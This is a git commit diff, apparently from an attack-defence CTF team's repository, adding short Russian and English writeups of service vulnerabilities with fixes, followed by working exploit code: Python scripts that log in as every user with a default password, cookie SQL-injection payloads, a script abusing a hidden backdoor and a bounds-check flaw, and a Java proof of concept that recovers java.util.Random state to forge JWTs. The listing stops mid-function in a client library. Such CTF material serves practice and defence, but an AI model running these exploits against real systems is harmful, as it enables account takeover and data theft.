adding validated services? patching forcad_local.py

This commit is contained in:
Your Name
2026-08-13 08:32:35 +07:00
parent d485f61169
commit e795614e45
1459 changed files with 420036 additions and 436 deletions

View File

@@ -0,0 +1,22 @@
# Эксплойт 1
**Флагтор 1: Приватные посты (их содержимое)**
**Уязвимость:** Баг в коде, позволяющий войти под любым пользователем с паролем `password`.
**Исправление:** Добавить знак `$` перед хешированием пароля в функциях `api-user-register` и `api-user-login`.
# Эксплойт 2
**Flagstore 2: Приватные посты (их содержимое)**
Уязвимость: Неэффективная функция db-escape и её отсутствие в функции db-list-user-posts для поля user_token.
Исправление: Изменить функцию db-escape на:
```bash
db-escape() {
local str="$1"
echo "${str//\'/\\\'}"
}
```

View File

@@ -0,0 +1,21 @@
# Sploit 1
**Flagstore 1. Private posts (their content)**
**Vulnerability:** A bug in code allows logging in as any user with password - `password`.
**Fix:** Add a `$` sign before hashing the password in the `api-user-register` and `api-user-login` functions.
# Sploit 2
**Flagstore 2. Private posts (their content)**
**Vulnerability:** An ineffective `db-escape` function and its absence in the `db-list-user-posts` function for `user_token` field.
**Fix:** Change the `db-escape` function to:
```bash
db-escape() {
local str="$1"
echo "${str//\'/\\\'}"
}
```

View File

@@ -0,0 +1 @@
requests

View File

@@ -0,0 +1,27 @@
import sys
import requests
ip = sys.argv[1]
base_url = f"http://{ip}:1599"
sess = requests.Session()
r = sess.get(f"{base_url}/api/users")
assert r.ok, r.text
users = [el["username"] for el in r.json()]
for user in users:
sess = requests.Session()
r = sess.post(
f"{base_url}/api/user/login", json={"username": user, "password": "password"}
)
assert r.ok, r.text
r = sess.get(f"{base_url}/api/user/posts")
assert r.ok, r.text
flags = [post["content"] for post in r.json()]
for flag in flags:
print(flag)

View File

@@ -0,0 +1,11 @@
import sys
import requests
ip = sys.argv[1]
base_url = f"http://{ip}:1599"
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%201=1%20--"})
flags = [post["content"] for post in r.json()]
for flag in flags:
print(flag)

View File

@@ -0,0 +1,11 @@
import sys
import requests
ip = sys.argv[1]
base_url = f"http://{ip}:1599"
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%20'1'='1"})
flags = [post["content"] for post in r.json()]
for flag in flags:
print(flag)

View File

@@ -0,0 +1,20 @@
# Эксплойт 1
Флагстор 1. Непроходимые уровни (их награды)
Уязвимость: В функции MoveOutOfWay отсутствует проверка границ (проверка выполняется на стороне клиента). Уровни можно пройти, выйдя за пределы карты.
Исправление: Добавить проверку границ в функцию MoveOutOfWay:
```Go
if p.X < 0 || p.Y < 0 || p.X >= sess.Tiles.size || p.Y >= sess.Tiles.size {
return false
}
```
# Эксплойт 2
Флагстор 2. Приватные уровни (их награды)
Уязвимость: Бэкдор в функции Level.CreateFrom (спрятан в шаблоне с множеством табуляций, в результате чего он оказывается вне экрана). Он создаёт пользователя с именем и паролем, равными `sha256(level_name)[:32]`, которым затем можно воспользоваться для доступа к уровню и флагу.
Исправление: удалить бэкдор из `create_from.tmpl` и регенерировать код ИЛИ удалить его напрямую из `create_from.go`.

View File

@@ -0,0 +1,20 @@
# Sploit 1
Flagstore 1. Unbeatable levels (their prizes)
Vulnerability: No bounds check in the MoveOutOfWay function (checked on the client side). The levels are beatable by going out of bounds.
Fix: Add bounds check in the MoveOutOfWay function:
```Go
if p.X < 0 || p.Y < 0 || p.X >= sess.Tiles.size || p.Y >= sess.Tiles.size {
return false
}
```
# Sploit 2
Flagstore 2. Private levels (their prizes)
Vulnerability: Backdoor in the Level.CreateFrom function (hidden in the template with a bunch of tabs which get it out of the screen). It creates a user with name and password both equal to `sha256(level_name)[:32]`, which can then be used to access the level and the flag.
Fix: remove the backdoor code from `create_from.tmpl` and regenerate OR remove it directly from `create_from.go`.

View File

@@ -0,0 +1,2 @@
requests
websockets

View File

@@ -0,0 +1,56 @@
import json
from secrets import token_hex
import sys
import requests
from requests.cookies import get_cookie_header
from websockets.sync.client import connect
def connect_with_auth(sess: requests.Session, url):
cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
return connect(url, additional_headers={"Cookie": cookie_value})
ip = sys.argv[1]
sess = requests.Session()
r = sess.post(f"http://{ip}:5874/api/auth/register", json={
"username": token_hex(8),
"password": token_hex(8)
})
assert r.ok, r.text
r = sess.get("http://localhost/api/client/attack_data/")
assert r.ok, r.text
flag_ids = r.json()["test_basic_service"]["host.docker.internal"]
level_names = [json.loads(s)["level_name"] for s in flag_ids]
def get_one(name):
r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
assert r.ok, r.text
level_id = r.json()["id"]
with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
for _ in range(4):
sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
for _ in range(4):
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
for _ in range(4):
sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
while True:
m = json.loads(sock.recv(1))
if m["type"] == "level_complete":
print(m["option"]["prize"])
break
for name in level_names:
try:
get_one(name)
except Exception as e:
print(name, e)

View File

@@ -0,0 +1,68 @@
import hashlib
import json
import sys
import requests
from requests.cookies import get_cookie_header
from websockets.sync.client import connect
def connect_with_auth(sess: requests.Session, url):
cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
return connect(url, additional_headers={"Cookie": cookie_value})
ip = sys.argv[1]
sess = requests.Session()
r = sess.get("http://localhost/api/client/attack_data/")
assert r.ok, r.text
flag_ids = r.json()["test_basic_service"]["host.docker.internal"]
level_names = [json.loads(s)["level_name"] for s in flag_ids]
def get_one(name: str):
hash = hashlib.sha256(name.encode()).hexdigest()
r = sess.post(f"http://{ip}:5874/api/auth/login", json={
"username": hash[:32],
"password": hash[:32]
})
assert r.ok, r.text
r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
assert r.ok, r.text
level_id = r.json()["id"]
r = sess.get(f"http://{ip}:5874/api/user/level/{level_id}")
assert r.ok, r.text
tiles = r.json()["data"]["tiles"]
assert len(tiles) == 2, "lol"
px, py = next((tile["pos"]["x"], tile["pos"]["y"]) for tile in tiles if tile["kind"] == "player")
ex, ey = next((tile["pos"]["x"], tile["pos"]["y"]) for tile in tiles if tile["kind"] == "exit")
with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
while py > ey:
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
py -= 1
while px < ex:
sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
px += 1
while py < ey:
sock.send(json.dumps({"type": "move", "option": {"direction": "down"}}))
py += 1
while px > ex:
sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
px -= 1
while True:
m = json.loads(sock.recv(1))
if m["type"] == "level_complete":
print(m["option"]["prize"])
break
for name in level_names:
try:
get_one(name)
except Exception as e:
print(name, e)

View File

@@ -0,0 +1,62 @@
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class AttackData {
public static List<Map<String, String>> getAttackData(String host, String attackDataUrl) throws Exception {
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(attackDataUrl))
.GET()
.build();
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
String responseBody = response.body();
return parseAttackData(responseBody, host, attackDataUrl);
}
private static List<Map<String, String>> parseAttackData(String jsonResponse, String host, String attackDataUrl) {
List<Map<String, String>> userData = new ArrayList<>();
String hostPattern = "\"" + Pattern.quote(host) + "\"\\s*:\\s*\\[([^\\]]+)\\]";
Pattern pattern = Pattern.compile(hostPattern, Pattern.DOTALL);
Matcher matcher = pattern.matcher(jsonResponse);
if (matcher.find()) {
String arrayContent = matcher.group(1);
Pattern userPattern = Pattern.compile("\\{\\\\\"userId\\\\\":\\s*\\\\\"(\\d+)\\\\\",\\s*\\\\\"username\\\\\":\\s*\\\\\"([^\\\\\"]+)\\\\\"\\}");
Matcher userMatcher = userPattern.matcher(arrayContent);
while (userMatcher.find()) {
Map<String, String> user = new HashMap<>();
user.put("userId", userMatcher.group(1));
user.put("username", userMatcher.group(2));
userData.add(user);
}
}
return userData;
}
public static Map<String, String> getFirstUser(String host, String attackDataUrl) throws Exception {
List<Map<String, String>> users = getAttackData(host, attackDataUrl);
if (users.isEmpty()) {
throw new Exception("No attack data found for host: " + host);
}
return users.get(0);
}
public static List<Map<String, String>> getAllUsers(String host, String attackDataUrl) throws Exception {
return getAttackData(host, attackDataUrl);
}
}

View File

@@ -0,0 +1,376 @@
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.Base64;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.nio.ByteBuffer;
import java.util.Map;
import java.util.HashMap;
public class ChainPoC_HexIDs {
static final long A = 0x5DEECE66DL;
static final long C = 0xBL;
static final long A_INV = 0xDFE05BCB1365L;
private static final long MULTIPLIER = 0x5DEECE66DL;
private static final long ADDEND = 0xBL;
private static final long MASK = (1L << 48) - 1;
private static final long MULT_INV = 0xDFE05BCB1365L;
private static long nextSeed(long s) { return (s * MULTIPLIER + ADDEND) & MASK; }
private static long prevSeed(long sp) { return (MULT_INV * ((sp - ADDEND) & MASK)) & MASK; }
static long nextState(long s) {
return (s * A + C) & MASK;
}
static long prevState(long s) {
return (A_INV * ((s - C) & MASK)) & MASK;
}
static long stateToSeedLow48(long state) {
return (state ^ A) & MASK;
}
static String toHex16(long v) {
return String.format("%016x", v);
}
static long fromHex(String hex) {
return Long.parseUnsignedLong(hex, 16);
}
static String hx64(long v) {
return String.format("0x%016x", v);
}
static String hx48(long v) {
return String.format("0x%012x", v & MASK);
}
static class FormSeed {
final int seedInt;
final long s0;
FormSeed(int i, long s) {
seedInt = i;
s0 = s;
}
}
static FormSeed recoverFormSeedFromNextLong(long out) {
int lo = (int) out;
int hi = (int) ((out - (long) lo) >>> 32);
long hiU = hi & 0xFFFFFFFFL;
for (int b1 = 0; b1 < (1 << 16); b1++) {
long s1 = ((hiU << 16) | (b1 & 0xFFFFL)) & MASK;
long s2 = nextState(s1);
if ((int) (s2 >>> 16) == lo) {
long s0 = prevState(s1);
long seedLow48 = stateToSeedLow48(s0);
int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
if (new Random(seedInt).nextLong() == out)
return new FormSeed(seedInt, s0);
}
}
long loU = lo & 0xFFFFFFFFL;
for (int b2 = 0; b2 < (1 << 16); b2++) {
long s2 = ((loU << 16) | (b2 & 0xFFFFL)) & MASK;
long s1 = prevState(s2);
if ((int) (s1 >>> 16) == hi) {
long s0 = prevState(s1);
long seedLow48 = stateToSeedLow48(s0);
int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
if (new Random(seedInt).nextLong() == out)
return new FormSeed(seedInt, s0);
}
}
throw new IllegalStateException("no matching state for given nextLong()");
}
static class IdProviderSeed {
final long s0, s1, s2;
IdProviderSeed(long a, long b, long c) {
s0 = a;
s1 = b;
s2 = c;
}
}
static IdProviderSeed reconstructIdProviderSeedFromTwoInts(int x0, int x1) {
long u0 = x0 & 0xFFFFFFFFL, u1 = x1 & 0xFFFFFFFFL;
for (int low16 = 0; low16 < (1 << 16); low16++) {
long s1 = ((u0 << 16) | (low16 & 0xFFFFL)) & MASK;
long s2 = nextState(s1);
if (((int) (s2 >>> 16)) == (int) u1) {
long s0 = prevState(s1);
return new IdProviderSeed(s0, s1, s2);
}
}
throw new IllegalStateException("values must be consecutive nextInt()");
}
static List<long[]> candidatesFromL2low48(long L2_low48) {
int y2 = (int) (L2_low48 & 0xFFFFFFFFL);
int y1_low16 = (int) ((L2_low48 >>> 32) & 0xFFFFL);
List<long[]> out = new ArrayList<>();
for (int b2 = 0; b2 < (1 << 16); b2++) {
long s2 = ((((long) y2) << 16) | (b2 & 0xFFFFL)) & MASK;
long s1 = prevState(s2);
if (((s1 >>> 16) & 0xFFFFL) == (y1_low16 & 0xFFFFL)) {
long hi32 = (s1 >>> 16) & 0xFFFFFFFFL;
long lo32 = (s2 >>> 16) & 0xFFFFFFFFL;
long L2_full = (hi32 << 32) | lo32;
long p2 = prevState(s1);
long p1 = prevState(p2);
long L1_full = (((p1 >>> 16) & 0xFFFFFFFFL) << 32) | ((p2 >>> 16) & 0xFFFFFFFFL);
out.add(new long[] { L2_full, L1_full });
}
}
return out;
}
private static int hiFromNextLong(long out) {
int lo = (int) out;
return (int) ((out - (long) lo) >>> 32);
}
private static int loFromNextLong(long out) {
return (int) out;
}
static long makeNextLongFromStates(long s1, long s2) {
return (((long) (int) (s1 >>> 16)) << 32) + (int) (s2 >>> 16);
}
private static long makeNextLong(int hi, int lo) {
return (((long) hi) << 32) + (long) lo;
}
static List<long[]> bruteForceIdAndJWTSeedCandidates(long id_provider_seed_low48) {
System.out.println(hx64(id_provider_seed_low48));
List<long[]> out = new ArrayList<>();
int y2 = (int) (id_provider_seed_low48 & 0xFFFFFFFFL);
int y1_low16 = (int) ((id_provider_seed_low48 >>> 32) & 0xFFFFL);
for (int low16_s2 = 0; low16_s2 < (1 << 16); low16_s2++) {
long s2 = ((((long) y2) << 16) | (low16_s2 & 0xFFFFL)) & MASK;
long s1 = prevState(s2);
if (((s1 >>> 16) & 0xFFFFL) != (y1_low16 & 0xFFFFL) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) + 1) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) - 1)) continue;
System.out.println("passed s1: " + hx48(s1));
long L2_full = makeNextLongFromStates(s1, s2);
long p2 = prevState(s1); long p1 = prevState(p2);
long L1_full = makeNextLongFromStates(p1, p2);
out.add(new long[] { L1_full, L2_full});
System.out.println("L2: " + hx64(L2_full));
System.out.println("L1: " + hx64(L1_full));
s1 = ((s1 >>> 16) + 1) << 16;
System.out.println("s1+: " + hx48(s1));
L2_full = makeNextLongFromStates(s1, s2);
p2 = prevState(s1); p1 = prevState(p2);
L1_full = makeNextLongFromStates(p1, p2);
out.add(new long[] { L1_full, L2_full});
s1 = ((s1 >>> 16) - 2) << 16;
System.out.println("s1-: " + hx48(s1));
L2_full = makeNextLongFromStates(s1, s2);
p2 = prevState(s1); p1 = prevState(p2);
L1_full = makeNextLongFromStates(p1, p2);
out.add(new long[] { L1_full, L2_full});
}
return out;
}
static byte[] longToBytes(long value) {
return ByteBuffer.allocate(8).putLong(value).array();
}
static byte[] expandKey(byte[] key8bytes) {
byte[] expanded = new byte[32];
for (int i = 0; i < 32; i++) {
expanded[i] = key8bytes[i % 8];
}
return expanded;
}
static boolean verifyJWT(String jwtToken, long jwtSecret) {
try {
String[] parts = jwtToken.split("\\.");
if (parts.length != 3)
return false;
String headerAndPayload = parts[0] + "." + parts[1];
String actualSignature = parts[2];
byte[] keyData = longToBytes(jwtSecret);
byte[] expandedKey = expandKey(keyData);
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
mac.init(keySpec);
byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));
String expectedSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
return expectedSignature.equals(actualSignature);
} catch (Exception e) {
System.err.println("JWT verification error: " + e.getMessage());
return false;
}
}
static String generateToken(String username, long jwtSecret) {
try {
String header = "{\"alg\":\"HS256\"}";
String encodedHeader = Base64.getUrlEncoder().withoutPadding()
.encodeToString(header.getBytes("UTF-8"));
long now = System.currentTimeMillis() / 1000;
long exp = now + 86400;
String payload = "{\"u\":\"" + username + "\",\"iat\":" + now + ",\"exp\":" + exp + "}";
String encodedPayload = Base64.getUrlEncoder().withoutPadding()
.encodeToString(payload.getBytes("UTF-8"));
String headerAndPayload = encodedHeader + "." + encodedPayload;
byte[] keyData = longToBytes(jwtSecret);
byte[] expandedKey = expandKey(keyData);
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
mac.init(keySpec);
byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));
String signature = Base64.getUrlEncoder().withoutPadding()
.encodeToString(signatureBytes);
return headerAndPayload + "." + signature;
} catch (Exception e) {
System.err.println("JWT generation error: " + e.getMessage());
return null;
}
}
public static Map<String, String>[] exploit(long form_id, long known_user_id, String known_jwt, List<Map<String, String>> targetUsers, String form1, String form2) {
long dec1 = fromHex(form1);
long dec2 = fromHex(form2);
System.out.println("dec1: " + hx64(dec1));
System.out.println("dec2: " + hx64(dec2));
FormSeed form_seed_a = recoverFormSeedFromNextLong(dec1);
FormSeed form_seed_b = recoverFormSeedFromNextLong(dec2);
int recN1 = form_seed_a.seedInt;
int recN2 = form_seed_b.seedInt;
IdProviderSeed id_provider_seed = reconstructIdProviderSeedFromTwoInts(recN1, recN2);
System.out.println("rolling back state n times: " + (form_id - 1));
long rolledBackState = id_provider_seed.s0;
for (int i = 0; i < form_id -1 ; i++) {
rolledBackState = prevState(rolledBackState);
}
long id_provider_seed_low48 = stateToSeedLow48(rolledBackState);
List<long[]> cands = bruteForceIdAndJWTSeedCandidates(id_provider_seed_low48);
System.out.println("cands: " + cands.size());
long id_seed = 0, jwt_seed = 0;
Random jwt_random;
boolean found = false;
for (long[] cand : cands) {
jwt_seed = cand[0];
id_seed = cand[1];
System.out.println("jwt seed: " + hx64(jwt_seed));
System.out.println("id seed: " + hx64(id_seed));
long jwt_secret = 0;
jwt_random = new Random(jwt_seed);
for (int i = 0; i < known_user_id; i++) {
jwt_secret = jwt_random.nextLong();
if (verifyJWT(known_jwt, jwt_secret)) {
System.out.println("found jwt secret: " + hx64(jwt_secret));
System.out.println("jwt secret: " + hx64(jwt_secret));
System.out.println("jwt seed: " + hx64(jwt_seed));
System.out.println("id seed: " + hx64(id_seed));
found = true;
break;
} else {
System.out.println("invalid jwt secret: " + hx64(jwt_secret));
continue;
}
}
if (found) {
break;
}
}
if (jwt_seed == 0) {
System.out.println("No valid jwt seed found");
return null;
}
System.out.println();
System.out.println("[*] Recovered from two ints:");
System.out.println("L2_low48(rec) = " + hx48(id_provider_seed_low48));
System.out.println("L2_full(rec) = " + hx64(id_seed));
System.out.println("L1_full(rec) = " + hx64(jwt_seed));
System.out.println();
Map<String, String>[] jwts = new Map[targetUsers.size()];
int index = 0;
for (Map<String, String> user : targetUsers) {
String username = user.get("username");
long userId = Long.parseLong(user.get("userId"));
Random jwt_random1 = new Random(jwt_seed);
long jwt_secret = 0;
for (int i = 0; i < userId; i++) {
jwt_secret = jwt_random1.nextLong();
}
System.out.println("jwt secret: " + hx64(jwt_secret));
String jwt = generateToken(username, jwt_secret);
System.out.println("jwt: " + jwt);
Map<String, String> jwtData = new HashMap<>();
jwtData.put("jwt", jwt);
jwtData.put("username", username);
jwtData.put("userId", Long.toString(userId));
jwts[index] = jwtData;
index++;
}
return jwts;
}
}

View File

@@ -0,0 +1,247 @@
import java.security.SecureRandom;
import java.util.Random;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.security.MessageDigest;
public class CheckLib {
private static final Random random = new Random();
private static final SecureRandom secureRandom = new SecureRandom();
private static final String ALPHANUMERIC = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static final String ALPHA_LOWER = "abcdefghijklmnopqrstuvwxyz";
private static final String ALPHA_UPPER = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
private static final String NUMERIC = "0123456789";
private static final String HEX = "0123456789abcdef";
public static String rndString(int length) {
return rndAlphanumeric(length);
}
public static String generateUsername() {
return "user_" + timestampSec() + "_" + rndAlphaLower(6);
}
public static String generateUsername(String prefix) {
return prefix + "_" + timestampSec() + "_" + rndAlphaLower(6);
}
public static String generatePassword() {
return rndAlphanumeric(16);
}
public static String generatePassword(int length) {
return rndAlphanumeric(length);
}
public static String rndAlphanumeric(int length) {
return randomString(length, ALPHANUMERIC);
}
public static String rndAlphaLower(int length) {
return randomString(length, ALPHA_LOWER);
}
public static String rndAlphaUpper(int length) {
return randomString(length, ALPHA_UPPER);
}
public static String rndNumeric(int length) {
return randomString(length, NUMERIC);
}
public static String rndHex(int length) {
return randomString(length, HEX);
}
public static String randomString(int length, String charset) {
StringBuilder sb = new StringBuilder(length);
for (int i = 0; i < length; i++) {
sb.append(charset.charAt(random.nextInt(charset.length())));
}
return sb.toString();
}
public static byte[] rndBytes(int length) {
byte[] bytes = new byte[length];
secureRandom.nextBytes(bytes);
return bytes;
}
public static byte[] rndBytesFast(int length) {
byte[] bytes = new byte[length];
random.nextBytes(bytes);
return bytes;
}
public static int rndInt(int min, int max) {
return random.nextInt(max - min) + min;
}
public static int rndInt(int max) {
return random.nextInt(max);
}
public static long rndLong() {
return random.nextLong();
}
public static String toHex(byte[] bytes) {
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
public static byte[] fromHex(String hex) {
int len = hex.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(hex.charAt(i), 16) << 4)
+ Character.digit(hex.charAt(i+1), 16));
}
return data;
}
public static String toBase64(byte[] bytes) {
return Base64.getEncoder().encodeToString(bytes);
}
public static String toBase64(String str) {
return Base64.getEncoder().encodeToString(str.getBytes(StandardCharsets.UTF_8));
}
public static byte[] fromBase64(String base64) {
return Base64.getDecoder().decode(base64);
}
public static String fromBase64String(String base64) {
return new String(Base64.getDecoder().decode(base64), StandardCharsets.UTF_8);
}
public static String toBase64Url(byte[] bytes) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
}
public static byte[] fromBase64Url(String base64) {
return Base64.getUrlDecoder().decode(base64);
}
public static String md5(String input) {
return hash(input, "MD5");
}
public static String sha1(String input) {
return hash(input, "SHA-1");
}
public static String sha256(String input) {
return hash(input, "SHA-256");
}
public static String hash(String input, String algorithm) {
try {
MessageDigest md = MessageDigest.getInstance(algorithm);
byte[] hash = md.digest(input.getBytes(StandardCharsets.UTF_8));
return toHex(hash);
} catch (Exception e) {
throw new RuntimeException("Hash failed: " + e.getMessage(), e);
}
}
public static byte[] hashBytes(byte[] input, String algorithm) {
try {
MessageDigest md = MessageDigest.getInstance(algorithm);
return md.digest(input);
} catch (Exception e) {
throw new RuntimeException("Hash failed: " + e.getMessage(), e);
}
}
public static long timestamp() {
return System.currentTimeMillis();
}
public static long timestampSec() {
return System.currentTimeMillis() / 1000;
}
public static void sleep(long ms) {
try {
Thread.sleep(ms);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
public static void sleepSec(long seconds) {
sleep(seconds * 1000);
}
public static String repeat(String str, int count) {
return str.repeat(count);
}
public static String padLeft(String str, int length, char padChar) {
if (str.length() >= length) return str;
return String.valueOf(padChar).repeat(length - str.length()) + str;
}
public static String padRight(String str, int length, char padChar) {
if (str.length() >= length) return str;
return str + String.valueOf(padChar).repeat(length - str.length());
}
public static void info(String msg) {
System.out.println("[*] " + msg);
}
public static void success(String msg) {
System.out.println("[+] " + msg);
}
public static void error(String msg) {
System.out.println("[-] " + msg);
}
public static void warn(String msg) {
System.out.println("[!] " + msg);
}
public static void debug(String msg) {
System.out.println("[DEBUG] " + msg);
}
public static void hexDump(byte[] data) {
hexDump(data, 16);
}
public static void hexDump(byte[] data, int bytesPerLine) {
for (int i = 0; i < data.length; i += bytesPerLine) {
System.out.printf("%08x: ", i);
for (int j = 0; j < bytesPerLine; j++) {
if (i + j < data.length) {
System.out.printf("%02x ", data[i + j]);
} else {
System.out.print(" ");
}
}
System.out.print(" | ");
for (int j = 0; j < bytesPerLine && i + j < data.length; j++) {
byte b = data[i + j];
if (b >= 32 && b < 127) {
System.out.print((char) b);
} else {
System.out.print('.');
}
}
System.out.println();
}
}
}

View File

@@ -0,0 +1,387 @@
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.net.CookieManager;
import java.net.HttpCookie;
import java.util.List;
import java.util.Map;
import java.util.HashMap;
import java.util.ArrayList;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
public class ClientLib {
private final String baseUrl;
private final HttpClient httpClient;
private final CookieManager cookieManager;
private String userId;
private String username;
private String authToken;
public ClientLib(String serviceUrl) {
this.baseUrl = serviceUrl.endsWith("/") ? serviceUrl.substring(0, serviceUrl.length() - 1) : serviceUrl;
this.cookieManager = new CookieManager();
this.httpClient = HttpClient.newBuilder()
.cookieHandler(cookieManager)
.build();
}
public Map<String, Object> registerUser(String username, String password) throws Exception {
String body = "{\"username\":\"" + jsonEscape(username) + "\",\"password\":\"" + jsonEscape(password) + "\"}";
String response = post("/api/account/signup", body);
Map<String, Object> result = parseJsonObject(response);
if (result.containsKey("success") && Boolean.TRUE.equals(result.get("success"))) {
this.username = (String) result.get("username");
Object userIdObj = result.get("userId");
this.userId = String.valueOf(userIdObj);
extractCookies();
}
return result;
}
public Map<String, Object> login(String username, String password) throws Exception {
String body = "{\"username\":\"" + jsonEscape(username) + "\",\"password\":\"" + jsonEscape(password) + "\"}";
String response = post("/api/account/login", body);
Map<String, Object> result = parseJsonObject(response);
if (result.containsKey("success") && Boolean.TRUE.equals(result.get("success"))) {
this.username = (String) result.get("username");
Object userIdObj = result.get("userId");
this.userId = String.valueOf(userIdObj);
extractCookies();
}
return result;
}
public Map<String, Object> getCurrentUser() throws Exception {
String response = get("/api/account/me");
return parseJsonObject(response);
}
public Map<String, Object> logout() throws Exception {
String response = post("/api/account/logout", "{}");
Map<String, Object> result = parseJsonObject(response);
this.userId = null;
this.username = null;
this.authToken = null;
return result;
}
public Map<String, Object> createForm(Map<String, Object> schema) throws Exception {
String schemaJson = mapToJson(schema);
String body = "{\"schema\":" + schemaJson + "}";
String response = post("/api/form/new", body);
return parseJsonObject(response);
}
public Map<String, Object> getForm(String formId) throws Exception {
String response = get("/api/form/" + formId);
return parseJsonObject(response);
}
public Map<String, Object> updateForm(String formId, Map<String, Object> schema) throws Exception {
String schemaJson = mapToJson(schema);
String body = "{\"schema\":" + schemaJson + "}";
String response = put("/api/form/" + formId, body);
return parseJsonObject(response);
}
public Map<String, Object> submitFormResponse(String formId, Map<String, Object> payload) throws Exception {
String payloadJson = mapToJson(payload);
String response = post("/api/form/" + formId + "/submit", payloadJson);
return parseJsonObject(response);
}
public List<Map<String, Object>> getMyForms() throws Exception {
String response = get("/api/form/my-forms");
return parseJsonArray(response);
}
public List<String> getFormResults(String formId) throws Exception {
String response = get("/api/form/" + formId + "/results");
return parseStringArray(response);
}
private String get(String endpoint) throws Exception {
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(baseUrl + endpoint))
.GET()
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
return response.body();
}
private String post(String endpoint, String jsonBody) throws Exception {
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(baseUrl + endpoint))
.header("Content-Type", "application/json")
.POST(HttpRequest.BodyPublishers.ofString(jsonBody))
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
return response.body();
}
private String put(String endpoint, String jsonBody) throws Exception {
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(baseUrl + endpoint))
.header("Content-Type", "application/json")
.PUT(HttpRequest.BodyPublishers.ofString(jsonBody))
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
return response.body();
}
private void extractCookies() {
List<HttpCookie> cookies = cookieManager.getCookieStore().getCookies();
for (HttpCookie cookie : cookies) {
switch (cookie.getName()) {
case "uid":
this.userId = cookie.getValue();
break;
case "u":
this.username = cookie.getValue();
break;
case "auth":
this.authToken = cookie.getValue();
break;
}
}
}
public String getUserId() {
return userId;
}
public String getUsername() {
return username;
}
public String getAuthToken() {
return authToken;
}
public String getBaseUrl() {
return baseUrl;
}
public boolean isAuthenticated() {
return username != null && authToken != null && userId != null;
}
public void setSessionCookies(String userId, String username, String authToken) {
this.userId = userId;
this.username = username;
this.authToken = authToken;
try {
URI uri = new URI(baseUrl);
HttpCookie uidCookie = new HttpCookie("uid", userId);
uidCookie.setPath("/");
uidCookie.setDomain(uri.getHost());
HttpCookie uCookie = new HttpCookie("u", username);
uCookie.setPath("/");
uCookie.setDomain(uri.getHost());
HttpCookie authCookie = new HttpCookie("auth", authToken);
authCookie.setPath("/");
authCookie.setDomain(uri.getHost());
cookieManager.getCookieStore().add(uri, uidCookie);
cookieManager.getCookieStore().add(uri, uCookie);
cookieManager.getCookieStore().add(uri, authCookie);
} catch (Exception e) {
e.printStackTrace();
}
}
private String jsonEscape(String str) {
return str.replace("\\", "\\\\")
.replace("\"", "\\\"")
.replace("\n", "\\n")
.replace("\r", "\\r")
.replace("\t", "\\t");
}
private String mapToJson(Map<String, Object> map) {
StringBuilder sb = new StringBuilder("{");
boolean first = true;
for (Map.Entry<String, Object> entry : map.entrySet()) {
if (!first) sb.append(",");
first = false;
sb.append("\"").append(jsonEscape(entry.getKey())).append("\":");
sb.append(valueToJson(entry.getValue()));
}
sb.append("}");
return sb.toString();
}
private String valueToJson(Object value) {
if (value == null) {
return "null";
} else if (value instanceof String) {
return "\"" + jsonEscape((String) value) + "\"";
} else if (value instanceof Number || value instanceof Boolean) {
return value.toString();
} else if (value instanceof Map) {
return mapToJson((Map<String, Object>) value);
} else if (value instanceof List) {
